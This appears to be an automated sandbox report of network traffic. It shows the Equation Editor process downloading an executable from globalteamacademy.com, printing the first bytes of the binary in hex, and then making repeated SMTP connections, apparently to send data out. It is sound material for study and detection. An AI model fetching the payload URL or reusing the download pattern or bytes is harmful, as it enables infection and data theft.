Feb 4, 2021 09:57:14.061248064 CET	49171	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:57:14.068020105 CET	49171	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:57:14.251302958 CET	587	49171	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:14.251353979 CET	587	49171	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:14.251550913 CET	49171	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:57:14.251615047 CET	587	49171	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:14.252124071 CET	587	49171	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:14.254853964 CET	49171	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:57:14.258981943 CET	587	49171	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:14.259146929 CET	49171	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:57:14.442594051 CET	587	49171	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:14.442852974 CET	49171	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:57:14.446105003 CET	587	49171	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:14.446238995 CET	49171	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:57:14.450092077 CET	587	49171	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:14.450197935 CET	587	49171	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:14.450261116 CET	49171	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:57:14.450294018 CET	49171	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:57:14.633829117 CET	587	49171	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:14.634150028 CET	49171	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:57:14.637146950 CET	587	49171	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:14.637177944 CET	587	49171	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:14.637321949 CET	49171	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:57:14.637342930 CET	49171	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:57:14.641196966 CET	587	49171	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:14.641266108 CET	587	49171	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:14.641364098 CET	49171	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:57:14.641402006 CET	49171	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:57:14.826421022 CET	587	49171	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:14.826463938 CET	587	49171	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:14.826675892 CET	49171	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:57:14.828344107 CET	587	49171	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:14.828450918 CET	49171	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:57:14.828772068 CET	587	49171	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:14.828856945 CET	49171	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:57:14.832428932 CET	587	49171	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:14.832564116 CET	49171	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:57:14.832633018 CET	587	49171	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:14.832663059 CET	587	49171	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:14.832869053 CET	587	49171	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:14.833916903 CET	49171	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:57:15.017657042 CET	587	49171	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:15.017678022 CET	587	49171	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:15.017731905 CET	587	49171	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:15.017833948 CET	587	49171	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:15.017923117 CET	587	49171	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:15.018502951 CET	49171	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:57:15.019397020 CET	587	49171	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:15.019427061 CET	587	49171	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:15.019450903 CET	587	49171	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:15.019515038 CET	587	49171	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:15.019859076 CET	587	49171	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:15.019891977 CET	587	49171	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:15.023577929 CET	587	49171	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:15.023608923 CET	587	49171	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:15.023633957 CET	587	49171	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:15.023996115 CET	49171	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:57:15.024895906 CET	587	49171	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:15.024935007 CET	587	49171	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:15.024955034 CET	587	49171	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:15.024971962 CET	587	49171	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:15.025065899 CET	587	49171	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:15.025132895 CET	587	49171	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:15.025158882 CET	587	49171	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:15.025274992 CET	587	49171	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:15.025717020 CET	49171	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:57:15.209489107 CET	587	49171	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:15.214942932 CET	587	49171	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:15.216583014 CET	587	49171	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:15.224025011 CET	587	49171	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:15.437783957 CET	49171	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:57:18.107140064 CET	49172	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:57:18.298130035 CET	587	49172	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:18.298240900 CET	49172	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:57:18.489867926 CET	587	49172	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:18.490144968 CET	49172	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:57:18.680636883 CET	587	49172	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:18.680795908 CET	587	49172	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:18.681583881 CET	49172	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:57:18.872106075 CET	587	49172	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:18.874213934 CET	49172	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:57:19.064614058 CET	587	49172	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:19.064672947 CET	587	49172	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:19.064707041 CET	587	49172	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:19.065418005 CET	49172	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:57:19.066663980 CET	49172	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:57:19.071640968 CET	49172	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:57:19.257133007 CET	587	49172	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:19.257160902 CET	587	49172	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:19.262075901 CET	587	49172	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:19.262386084 CET	587	49172	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:19.263729095 CET	49172	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:57:19.454252958 CET	587	49172	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:19.455938101 CET	587	49172	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:19.457108021 CET	49172	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:57:19.647505999 CET	587	49172	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:19.650155067 CET	587	49172	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:19.650631905 CET	49172	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:57:19.841177940 CET	587	49172	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:19.844316959 CET	587	49172	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:19.844840050 CET	49172	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:57:20.035273075 CET	587	49172	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:20.075079918 CET	587	49172	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:20.075686932 CET	49172	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:57:20.266285896 CET	587	49172	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:20.267342091 CET	587	49172	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:20.268064976 CET	49172	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:57:20.268198013 CET	49172	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:57:20.268337965 CET	49172	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:57:20.268582106 CET	49172	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:57:20.272095919 CET	49172	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:57:20.458460093 CET	587	49172	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:20.458478928 CET	587	49172	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:20.458580971 CET	587	49172	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:20.458694935 CET	49172	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:57:20.458817959 CET	587	49172	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:20.458878994 CET	49172	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:57:20.462483883 CET	587	49172	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:20.462585926 CET	49172	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:57:20.649116993 CET	587	49172	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:20.649194002 CET	587	49172	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:20.649328947 CET	49172	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:57:20.652975082 CET	587	49172	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:20.653072119 CET	49172	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:57:20.839812040 CET	587	49172	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:20.839838982 CET	587	49172	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:20.840034962 CET	49172	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:57:20.843457937 CET	587	49172	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:20.843544960 CET	587	49172	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:20.843713999 CET	49172	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:57:21.030458927 CET	587	49172	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:21.030478954 CET	587	49172	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:21.030491114 CET	587	49172	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:21.030546904 CET	587	49172	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:21.030603886 CET	49172	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:57:21.030646086 CET	49172	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:57:21.034070969 CET	587	49172	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:21.034146070 CET	49172	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:57:21.034152985 CET	587	49172	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:21.034163952 CET	587	49172	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:21.034178972 CET	587	49172	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:21.034802914 CET	49172	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:57:21.221013069 CET	587	49172	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:21.221041918 CET	587	49172	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:21.221096992 CET	587	49172	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:21.221134901 CET	587	49172	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:21.221298933 CET	587	49172	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:21.221436977 CET	49172	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:57:21.224539995 CET	587	49172	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:21.224761009 CET	587	49172	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:21.224920034 CET	49172	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:57:21.225157976 CET	587	49172	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:21.225183964 CET	587	49172	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:21.225199938 CET	587	49172	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:21.225306988 CET	587	49172	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:21.225447893 CET	49172	587	192.168.2.22	198.54.122.60
Feb 4, 2021 09:57:21.411904097 CET	587	49172	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:21.415199041 CET	587	49172	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:21.415628910 CET	587	49172	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:21.424446106 CET	587	49172	198.54.122.60	192.168.2.22
Feb 4, 2021 09:57:21.631688118 CET	49172	587	192.168.2.22	198.54.122.60

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Feb 4, 2021 09:55:36.299710035 CET	52197	53	192.168.2.22	8.8.8.8
Feb 4, 2021 09:55:36.354427099 CET	53	52197	8.8.8.8	192.168.2.22
Feb 4, 2021 09:55:36.354794025 CET	52197	53	192.168.2.22	8.8.8.8
Feb 4, 2021 09:55:36.409189939 CET	53	52197	8.8.8.8	192.168.2.22
Feb 4, 2021 09:56:36.353154898 CET	53099	53	192.168.2.22	8.8.8.8
Feb 4, 2021 09:56:36.408134937 CET	53	53099	8.8.8.8	192.168.2.22
Feb 4, 2021 09:56:38.324831009 CET	52838	53	192.168.2.22	8.8.8.8
Feb 4, 2021 09:56:38.373452902 CET	53	52838	8.8.8.8	192.168.2.22
Feb 4, 2021 09:56:38.386100054 CET	61200	53	192.168.2.22	8.8.8.8
Feb 4, 2021 09:56:38.431818008 CET	53	61200	8.8.8.8	192.168.2.22
Feb 4, 2021 09:56:38.456224918 CET	61200	53	192.168.2.22	8.8.8.8
Feb 4, 2021 09:56:38.501970053 CET	53	61200	8.8.8.8	192.168.2.22
Feb 4, 2021 09:56:44.183816910 CET	49548	53	192.168.2.22	8.8.8.8
Feb 4, 2021 09:56:44.238260031 CET	53	49548	8.8.8.8	192.168.2.22
Feb 4, 2021 09:56:44.238792896 CET	49548	53	192.168.2.22	8.8.8.8
Feb 4, 2021 09:56:44.293081045 CET	53	49548	8.8.8.8	192.168.2.22
Feb 4, 2021 09:56:52.051023006 CET	55627	53	192.168.2.22	8.8.8.8
Feb 4, 2021 09:56:52.108166933 CET	53	55627	8.8.8.8	192.168.2.22
Feb 4, 2021 09:56:52.108872890 CET	55627	53	192.168.2.22	8.8.8.8
Feb 4, 2021 09:56:52.166026115 CET	53	55627	8.8.8.8	192.168.2.22
Feb 4, 2021 09:57:01.344053984 CET	56009	53	192.168.2.22	8.8.8.8
Feb 4, 2021 09:57:01.398149014 CET	53	56009	8.8.8.8	192.168.2.22
Feb 4, 2021 09:57:11.648189068 CET	61865	53	192.168.2.22	8.8.8.8
Feb 4, 2021 09:57:11.705068111 CET	53	61865	8.8.8.8	192.168.2.22
Feb 4, 2021 09:57:17.998620987 CET	55171	53	192.168.2.22	8.8.8.8
Feb 4, 2021 09:57:18.055442095 CET	53	55171	8.8.8.8	192.168.2.22
Feb 4, 2021 09:57:18.056164026 CET	55171	53	192.168.2.22	8.8.8.8
Feb 4, 2021 09:57:18.104660988 CET	53	55171	8.8.8.8	192.168.2.22

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Feb 4, 2021 09:55:36.299710035 CET	192.168.2.22	8.8.8.8	0x51f2	Standard query (0)	globalteamacademy.com	A (IP address)	IN (0x0001)
Feb 4, 2021 09:55:36.354794025 CET	192.168.2.22	8.8.8.8	0x51f2	Standard query (0)	globalteamacademy.com	A (IP address)	IN (0x0001)
Feb 4, 2021 09:56:36.353154898 CET	192.168.2.22	8.8.8.8	0xb15b	Standard query (0)	mail.privateemail.com	A (IP address)	IN (0x0001)
Feb 4, 2021 09:56:44.183816910 CET	192.168.2.22	8.8.8.8	0x671c	Standard query (0)	mail.privateemail.com	A (IP address)	IN (0x0001)
Feb 4, 2021 09:56:44.238792896 CET	192.168.2.22	8.8.8.8	0x671c	Standard query (0)	mail.privateemail.com	A (IP address)	IN (0x0001)
Feb 4, 2021 09:56:52.051023006 CET	192.168.2.22	8.8.8.8	0xd184	Standard query (0)	mail.privateemail.com	A (IP address)	IN (0x0001)
Feb 4, 2021 09:56:52.108872890 CET	192.168.2.22	8.8.8.8	0xd184	Standard query (0)	mail.privateemail.com	A (IP address)	IN (0x0001)
Feb 4, 2021 09:57:01.344053984 CET	192.168.2.22	8.8.8.8	0x5608	Standard query (0)	mail.privateemail.com	A (IP address)	IN (0x0001)
Feb 4, 2021 09:57:11.648189068 CET	192.168.2.22	8.8.8.8	0xf89a	Standard query (0)	mail.privateemail.com	A (IP address)	IN (0x0001)
Feb 4, 2021 09:57:17.998620987 CET	192.168.2.22	8.8.8.8	0x6d23	Standard query (0)	mail.privateemail.com	A (IP address)	IN (0x0001)
Feb 4, 2021 09:57:18.056164026 CET	192.168.2.22	8.8.8.8	0x6d23	Standard query (0)	mail.privateemail.com	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class
Feb 4, 2021 09:55:36.354427099 CET	8.8.8.8	192.168.2.22	0x51f2	No error (0)	globalteamacademy.com	43.252.37.193	A (IP address)	IN (0x0001)
Feb 4, 2021 09:55:36.409189939 CET	8.8.8.8	192.168.2.22	0x51f2	No error (0)	globalteamacademy.com	43.252.37.193	A (IP address)	IN (0x0001)
Feb 4, 2021 09:56:36.408134937 CET	8.8.8.8	192.168.2.22	0xb15b	No error (0)	mail.privateemail.com	198.54.122.60	A (IP address)	IN (0x0001)
Feb 4, 2021 09:56:44.238260031 CET	8.8.8.8	192.168.2.22	0x671c	No error (0)	mail.privateemail.com	198.54.122.60	A (IP address)	IN (0x0001)
Feb 4, 2021 09:56:44.293081045 CET	8.8.8.8	192.168.2.22	0x671c	No error (0)	mail.privateemail.com	198.54.122.60	A (IP address)	IN (0x0001)
Feb 4, 2021 09:56:52.108166933 CET	8.8.8.8	192.168.2.22	0xd184	No error (0)	mail.privateemail.com	198.54.122.60	A (IP address)	IN (0x0001)
Feb 4, 2021 09:56:52.166026115 CET	8.8.8.8	192.168.2.22	0xd184	No error (0)	mail.privateemail.com	198.54.122.60	A (IP address)	IN (0x0001)
Feb 4, 2021 09:57:01.398149014 CET	8.8.8.8	192.168.2.22	0x5608	No error (0)	mail.privateemail.com	198.54.122.60	A (IP address)	IN (0x0001)
Feb 4, 2021 09:57:11.705068111 CET	8.8.8.8	192.168.2.22	0xf89a	No error (0)	mail.privateemail.com	198.54.122.60	A (IP address)	IN (0x0001)
Feb 4, 2021 09:57:18.055442095 CET	8.8.8.8	192.168.2.22	0x6d23	No error (0)	mail.privateemail.com	198.54.122.60	A (IP address)	IN (0x0001)
Feb 4, 2021 09:57:18.104660988 CET	8.8.8.8	192.168.2.22	0x6d23	No error (0)	mail.privateemail.com	198.54.122.60	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

globalteamacademy.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.22	49165	43.252.37.193	80	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Timestamp	kBytes transferred	Direction	Data
Feb 4, 2021 09:55:36.620105982 CET	0	OUT	GET /docct/zic/KlalU0GjxacVNEE.exe HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: globalteamacademy.com Connection: Keep-Alive
Feb 4, 2021 09:55:36.825108051 CET	2	IN	HTTP/1.1 200 OK Date: Thu, 04 Feb 2021 08:55:38 GMT Server: Apache Last-Modified: Wed, 03 Feb 2021 23:39:10 GMT Accept-Ranges: bytes Content-Length: 1074688 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/x-msdownload Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 1a 33 1b 60 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 50 00 00 4a 0c 00 00 1a 04 00 00 00 00 00 9e 68 0c 00 00 20 00 00 00 80 0c 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 c0 10 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4c 68 0c 00 4f 00 00 00 00 80 0c 00 18 16 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 10 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 a4 48 0c 00 00 20 00 00 00 4a 0c 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 18 16 04 00 00 80 0c 00 00 18 04 00 00 4c 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 a0 10 00 00 02 00 00 00 64 10 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 68 0c 00 00 00 00 00 48 00 00 00 02 00 05 00 f0 87 01 00 e4 69 01 00 03 00 00 00 01 00 00 06 d4 f1 02 00 78 76 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1b 30 02 00 1f 00 00 00 00 00 00 00 00 00 28 2c 00 00 0a 28 2d 00 00 0a 00 de 02 00 dc 00 28 07 00 00 06 02 6f 2e 00 00 0a 00 2a 00 01 10 00 00 02 00 01 00 0e 0f 00 02 00 00 00 00 aa 00 02 16 28 2f 00 00 0a 00 02 16 28 30 00 00 0a 00 02 17 28 31 00 00 0a 00 02 17 28 32 00 00 0a 00 02 16 28 33 00 00 0a 00 2a 4e 00 02 28 09 00 00 06 6f 10 03 00 06 28 34 00 00 0a 00 2a 26 00 02 28 35 00 00 0a 00 2a ce 73 36 00 00 0a 80 01 00 00 04 73 37 00 00 0a 80 02 00 00 04 73 38 00 00 0a 80 03 00 00 04 73 39 00 00 0a 80 04 00 00 04 73 3a 00 00 0a 80 05 00 00 04 2a 00 00 00 13 30 01 00 10 00 00 00 01 00 00 11 00 7e 01 00 00 04 6f 3b 00 00 0a 0a 2b 00 06 2a 13 30 01 00 10 00 00 00 02 00 00 11 00 7e 02 00 00 04 6f 3c 00 00 0a 0a 2b 00 06 2a 13 30 01 00 10 00 00 00 03 00 00 11 00 7e 03 00 00 04 6f 3d 00 00 0a 0a 2b 00 06 2a 13 30 01 00 10 00 00 00 04 00 00 11 00 7e 04 00 00 04 6f 3e 00 00 0a 0a 2b 00 06 2a 13 30 01 00 10 00 00 00 05 00 00 11 00 7e 05 00 00 04 6f 3f 00 00 0a 0a 2b 00 06 2a 26 00 02 28 40 00 00 0a 00 2a 00 00 13 30 02 00 3c 00 00 00 06 00 00 11 00 7e 06 00 00 04 14 28 41 00 00 0a 0b 07 2c 21 72 01 00 00 70 d0 05 00 00 02 28 42 00 00 0a 6f 43 00 00 0a 73 44 00 00 0a 0c 08 80 06 00 00 04 00 00 7e 06 00 00 04 0a 2b 00 06 2a 13 30 01 00 0b 00 00 00 07 00 00 11 00 7e 07 00 00 04 0a 2b 00 06 2a 22 00 02 80 07 00 00 04 2a 13 30 03 00 26 00 00 00 08 00 00 11 00 28 0c 00 00 06 72 39 00 00 70 7e 07 00 00 04 6f 45 00 00 0a 28 46 00 00 0a 0b 07 74 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL3`PJh @ @LhO H.textH J `.rsrcL@@.relocd@BhHixv0(,(-(o.(/(0(1(2(3N(o(4&(5s6s7s8s9s:0~o;+0~o<+0~o=+0~o>+0~o?+&(@0<~(A,!rp(BoCsD~+0~+"0&(r9p~oE(Ft
Feb 4, 2021 09:55:36.825153112 CET	3	IN	Data Raw: 26 00 00 01 0a 2b 00 06 2a 00 00 13 30 02 00 3c 00 00 00 06 00 00 11 00 7e 08 00 00 04 14 28 41 00 00 0a 0b 07 2c 21 72 4f 00 00 70 d0 06 00 00 02 28 42 00 00 0a 6f 43 00 00 0a 73 44 00 00 0a 0c 08 80 08 00 00 04 00 00 7e 08 00 00 04 0a 2b 00 06 Data Ascii: &+0<~(A,!rOp(BoCsD~+0~+"0&(rp~oE(Ft&+s(Gts@(F(H*0(oI,(
Feb 4, 2021 09:55:36.825189114 CET	5	IN	Data Raw: 0c 20 ed 01 00 00 73 66 00 00 0a 6f 67 00 00 0a 00 02 6f 25 00 00 06 72 52 02 00 70 6f 68 00 00 0a 00 02 6f 25 00 00 06 1f 62 1f 1d 73 69 00 00 0a 6f 6a 00 00 0a 00 02 6f 25 00 00 06 1f 1a 6f 6b 00 00 0a 00 02 6f 25 00 00 06 72 62 02 00 70 6f 71 Data Ascii: sfogo%rRpoho%bsiojo%oko%rbpoqo%opo'oeo' Vsfogo'rlpoho' 9lsiojo'oko'rzpolo)rpomtono)
Feb 4, 2021 09:55:36.825228930 CET	6	IN	Data Raw: 28 86 00 00 0a 00 02 20 c9 03 00 00 20 10 02 00 00 73 69 00 00 0a 28 87 00 00 0a 00 02 28 88 00 00 0a 02 6f 33 00 00 06 6f 89 00 00 0a 00 02 28 88 00 00 0a 02 6f 31 00 00 06 6f 89 00 00 0a 00 02 28 88 00 00 0a 02 6f 2f 00 00 06 6f 89 00 00 0a 00 Data Ascii: ( si((o3o(o1o(o/o(o-o(o+o(o'o(o)o(o%o(o!o(o#o(oo(oo
Feb 4, 2021 09:55:36.825268030 CET	7	IN	Data Raw: 00 0a 26 08 14 72 f8 04 00 70 17 8d 19 00 00 01 25 16 02 7b 26 00 00 04 1b 6f 9e 00 00 0a a2 14 14 14 17 28 9f 00 00 0a 26 08 14 72 f8 04 00 70 17 8d 19 00 00 01 25 16 02 7b 26 00 00 04 1c 6f 9e 00 00 0a a2 14 14 14 17 28 9f 00 00 0a 26 00 14 0c Data Ascii: &rp%{&o(&rp%{&o(&{&o:{!o&(Cf(oo(J(oo0^{!orp{!s}"rprp (
Feb 4, 2021 09:55:36.825306892 CET	9	IN	Data Raw: 55 00 00 0a 7d 3f 00 00 04 02 73 56 00 00 0a 7d 40 00 00 04 02 73 57 00 00 0a 7d 42 00 00 04 02 73 58 00 00 0a 7d 43 00 00 04 02 28 4c 00 00 06 00 2a 00 1b 30 02 00 31 00 00 00 09 00 00 11 00 00 03 2c 0b 02 7b 27 00 00 04 14 fe 03 2b 01 16 0a 06 Data Ascii: U}?sV}@sW}BsX}C(L01,{'+,{'oY(Z$%0H(Bs[s\oNs\oPs]oRsoTsoVs\oXs\oZ
Feb 4, 2021 09:55:36.825345993 CET	10	IN	Data Raw: 6f 67 00 00 0a 00 02 6f 5b 00 00 06 72 db 07 00 70 6f 68 00 00 0a 00 02 6f 5b 00 00 06 20 92 00 00 00 1f 3d 73 69 00 00 0a 6f 6a 00 00 0a 00 02 6f 5b 00 00 06 16 6f 6b 00 00 0a 00 02 6f 5d 00 00 06 6f 88 00 00 0a 02 6f 77 00 00 06 6f 89 00 00 0a Data Ascii: ogo[rpoho[ =siojo[oko]oowoo]oouoo]oo_oo]ooaoo]oocoo]ooeoo]oogoo]ooio
